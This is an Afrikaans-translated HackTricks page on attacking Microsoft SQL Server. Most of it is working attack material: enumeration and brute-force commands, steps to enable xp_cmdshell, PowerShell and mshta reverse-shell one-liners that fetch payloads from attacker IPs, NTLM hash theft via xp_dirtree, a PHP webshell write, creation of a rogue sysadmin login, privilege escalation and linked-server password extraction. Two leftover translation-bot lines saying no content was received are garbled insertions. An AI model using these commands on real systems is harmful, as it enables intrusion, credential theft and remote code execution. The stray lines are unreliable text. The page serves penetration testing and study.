1433 - Pentesting MSSQL - Microsoft SQL Server

Tip

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Basiese Inligting

Van wikipedia:

Microsoft SQL Server is ’n relationele databasisbestuurstelsel wat deur Microsoft ontwikkel is. As ’n databasisbediener is dit ’n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos aangevra deur ander sagtewaretoepassings—wat óf op dieselfde rekenaar óf op ’n ander rekenaar oor ’n netwerk (insluitend die Internet) kan loop.

Standaardpoort: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Landing on a Managed Database-as-a-Service (DBaaS)

Alles wat afhang van “owning the host” (bv. privilege escalation, lateral movement, and OS command execution) val weg in DBaaS. Pentesting in hierdie omgewings moet skuif na application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles, of swak network/VPC ontwerp. Byvoorbeeld, die Amazon RDS documentation stel uitdruklik dat xp_cmdshell en die TRUSTWORTHY database property nie ondersteun word nie.

Warning

Jy kry ’n database endpoint, nie ’n server nie. Die cloud provider bestuur die host OS, die database engine binaries, en baie sekuriteitsbeleid.

Default MS-SQL System Tables

• master Database: Hierdie database is kritiek aangesien dit alle stelselvlak besonderhede vir ’n SQL Server instance vasvang.
• msdb Database: SQL Server Agent gebruik hierdie database om die skedulering van alerts en jobs te bestuur.
• model Database: Dien as ’n sjabloon vir elke nuwe database op die SQL Server instance, waar enige wysigings soos grootte, collation, recovery model, ens. weerspieël word in nuut geskepte databases.
• Resource Database: ’n read-only database wat stelselobjekte huisves wat by SQL Server kom. Hierdie objekte, al word hulle fisies in die Resource database gestoor, word logies aangebied in die sys schema van elke database.
• tempdb Database: Dien as ’n tydelike stoorarea vir verganklike objekte of tussenliggende resultate.

Enumerasie

Outomatiese Enumerasie

As jy niks van die diens weet nie:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

As jy nie have credentials het nie, kan jy probeer om dit te raai. Jy kan nmap of metasploit gebruik. Wees versigtig, you can block accounts if you fail login several times using an existing username.

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

Gebruikersenumerasie via RID Brute Force

Jy kan domeingebruikers via MSSQL opnoem deur RIDs (Relative Identifiers) te brute-force. Hierdie tegniek is nuttig wanneer jy geldige credentials het maar beperkte privileges:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

I don’t have the README.md content. Paste the file text you want translated to Afrikaans (I’ll keep all markdown, tags, paths and links unchanged).

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Parameters:

• --local-auth: Gebruik plaaslike verifikasie in plaas van domein
• --rid-brute <max_rid>: Brute force RIDs tot by die gespesifiseerde nommer (standaard: 4000)
• -u: Gebruikersnaam
• -p: Wagwoord

Hierdie tegniek sal gebruikers opspoor deur die MSSQL-server te bevraagteken vir rekeninginligting wat geassosieer is met opeenvolgende RIDs.

Handmatige Enumerasie

Aanmelding

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Algemene Enumeration

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Kry Gebruiker

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Verkry Toestemmings

1. Securable: Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangbeheer. Hierdie word gekategoriseer in:

• Server – Voorbeelde sluit in databases, logins, endpoints, availability groups, en server roles.
• Database – Voorbeelde dek database role, application roles, schema, certificates, full text catalogs, en users.
• Schema – Sluit tables, views, procedures, functions, synonyms, ens.

2. Permission: Geassosieer met SQL Server securables; permissions soos ALTER, CONTROL, en CREATE kan aan ’n principal toegeken word. Bestuur van permissions gebeur op twee vlakke:

• Server Level deur gebruik te maak van logins
• Database Level deur gebruik te maak van users

3. Principal: Hierdie term verwys na die entiteit waaraan toestemming tot ’n securable gegee word. Principals sluit hoofsaaklik logins en database users in. Die beheer oor toegang tot securables word uitgeoefen deur permissions toe te ken of te ontken, of deur logins en users by roles in te sluit wat met toegangregte toegerus is.

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Wenke

Voer OS-opdragte uit

Caution

Let daarop dat om opdragte te kan uitvoer dit nie net nodig is dat xp_cmdshell aangeskakel is nie, maar ook om die EXECUTE permission on the xp_cmdshell stored procedure te hê. Jy kan uitvind wie (behalwe sysadmins) xp_cmdshell kan gebruik met:

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

WMI-gebaseerde afstandlike SQL-insameling (sqlcmd + CSV export)

Operateurs kan van ’n IIS/app-tier na SQL Servers pivot deur WMI te gebruik om ’n klein batch uit te voer wat teen MSSQL autentiseer en ad-hoc navrae uitvoer, en resultate na CSV uitvoer. Dit hou die insameling eenvoudig en laat dit inpas by administrateursaktiwiteit.

Voorbeeld mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Voer dit op afstand uit met WMI.

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

PowerShell alternatief

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Aantekeninge

• sqlcmd mag dalk ontbreek; val terug op osql, PowerShell Invoke-Sqlcmd, of ’n one‑liner wat System.Data.SqlClient gebruik.
• Wees versigtig met aanhalingstekens; lang/komplekse navrae is makliker om via ’n lêer of Base64‑encoded argument te verskaf, wat binne die batch/PowerShell-stub gedekodeer word.
• Exfil die CSV via SMB (e.g., copy from \SQLHOST\C$\Windows\Temp) of komprimeer en verplaas deur jou C2.

Kry gehashte wagwoorde

SELECT * FROM master.sys.syslogins;

Steel NetNTLM hash / Relay attack

Jy moet ’n SMB server begin om die hash wat tydens verifikasie gebruik word vas te vang (impacket-smbserver of responder byvoorbeeld).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

Jy kan nagaan wie (behalwe sysadmins) toestemming het om daardie MSSQL-funksies uit te voer met:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Deur hulpmiddels soos responder of Inveigh te gebruik, is dit moontlik om die NetNTLM hash te steel.\ Jy kan sien hoe om hierdie hulpmiddels te gebruik in:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Misbruik van MSSQL trusted Links

Read this post om meer inligting te kry oor hoe om hierdie funksie te misbruik:

MSSQL AD Abuse

Skryf Lêers

Om lêers te skryf met MSSQL, moet ons Ole Automation Procedures aktiveer, wat admin-privileges vereis, en dan ’n paar stored procedures uitvoer om die lêer te skep:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Lees lêer met OPENROWSET

Standaard laat MSSQL toe om lêers te lees op enige lêer in die bedryfstelsel waartoe die rekening lees toegang het. Ons kan die volgende SQL query gebruik:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Echter vereis die BULK opsie die ADMINISTER BULK OPERATIONS of die ADMINISTER DATABASE BULK OPERATIONS toestemming.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Foutgebaseerde vektor vir SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Read files executing scripts (Python and R)

MSSQL kan jou toelaat om scripts in Python en/of R uit te voer. Hierdie kode sal deur ’n verskillende gebruiker uitgevoer word as dié wat xp_cmdshell gebruik om opdragte uit te voer.

Voorbeeld wat probeer om ‘R’ “Hellow World!” uit te voer werk nie:

Voorbeeld wat geconfigureerde python gebruik om verskeie aksies uit te voer:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Lees Register

Microsoft SQL Server verskaf multiple extended stored procedures wat jou toelaat om nie net met die netwerk te interakteer nie, maar ook met die lêerstelsel en selfs die Windows Registry:

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Vir meer voorbeelde sien die original source.

RCE met MSSQL Gebruiker-gedefinieerde Funksie - SQLHttp

Dit is moontlik om ’n .NET dll binne MSSQL te laai met aangepaste funksies. Dit vereis egter dbo-toegang, dus benodig jy ’n databasisverbinding as sa of met ’n beheerdersrol.

Sien Following this link vir ’n voorbeeld.

RCE met autoadmin_task_agents

Volgens to this post, is dit ook moontlik om ’n remote dll te laai en MSSQL dit te laat uitvoer met iets soos:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Ek het geen inhoud ontvang om te vertaal nie. Plak asseblief die inhoud van src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md (of die gedeelte wat jy wil hê ek moet vertaal).

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Ander maniere vir RCE

Daar is ander metodes om RCE te kry, soos om extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, en external scripts.

MSSQL Privilege Escalation

Van db_owner na sysadmin

As ’n gewone gebruiker die rol db_owner gegee word oor die database owned by an admin gebruiker (soos sa) en daardie database gekonfigureer is as trustworthy, kan daardie gebruiker hierdie voorregte misbruik om te privesc omdat stored procedures wat daar geskep word as die eienaar (admin) kan execute.

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Jy kan ’n metasploit-module gebruik:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Of ’n PS-skrip:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Nabootsing van ander gebruikers

SQL Server het ’n spesiale toestemming, genaamd IMPERSONATE, wat die uitvoerende gebruiker in staat stel om die regte van ’n ander gebruiker of login aan te neem totdat die konteks teruggestel word of die sessie eindig.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

As jy as ’n gebruiker kan voorgee, selfs al is hy nie sysadmin nie, moet jy nagaan of die gebruiker toegang het tot ander databasisse of linked servers.

Neem kennis dat sodra jy sysadmin is, kan jy as enige ander voorgee:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Jy kan hierdie attack met ’n metasploit module uitvoer:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

of met ’n PS-skrip:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Gebruik van MSSQL vir Persistence

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Wagwoorde uittrek uit SQL Server Linked Servers

’n Aanvaller kan SQL Server Linked Servers-wagwoorde uit die SQL Instances uittrek en dit in duidelike teks kry, wat die aanvaller wagwoorde gee wat gebruik kan word om ’n groter greep op die teiken te kry. Die script om die wagwoorde wat vir die Linked Servers gestoor is te ekstraheer en te ontsleutel is hier te vinde: here

Sekere vereistes en konfigurasies moet gedoen word sodat hierdie exploit werk. Eerstens moet jy Administrator-regte op die masjien hê, of die vermoë om die SQL Server Configurations te bestuur.

Nadat jy jou toestemmings gevalideer het, moet jy drie dinge konfigureer, wat die volgende is:

1. Skakel TCP/IP aan op die SQL Server instances;
2. Voeg ’n Start Up parameter by; in hierdie geval sal ’n trace flag bygevoeg word, naamlik -T7806.
3. Skakel remote admin connection aan.

Om hierdie konfigurasies te outomatiseer, het this repository die nodige scripts. Buiten ’n PowerShell script vir elke stap van die konfigurasie, het die repository ook ’n volle script wat die konfigurasiescripts en die ekstraksie en ontsleuteling van die wagwoorde kombineer.

Vir verdere inligting, verwys na die volgende skakels oor hierdie aanval: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Lokale Privilege Escalation

Die gebruiker wat MSSQL server laat loop sal die privilege token SeImpersonatePrivilege geaktiveer hê.
Jy sal waarskynlik in staat wees om escalate to Administrator deur een van hierdie 2 bladsye te volg:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

• port:1433 !HTTP

Verwysings

• Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

• https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users

• https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/

• https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

• https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/

• https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/

• https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/

• https://mayfly277.github.io/posts/GOADv2-pwning-part12/

• https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp

HackTricks Outomatiese Kommando’s

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

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• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.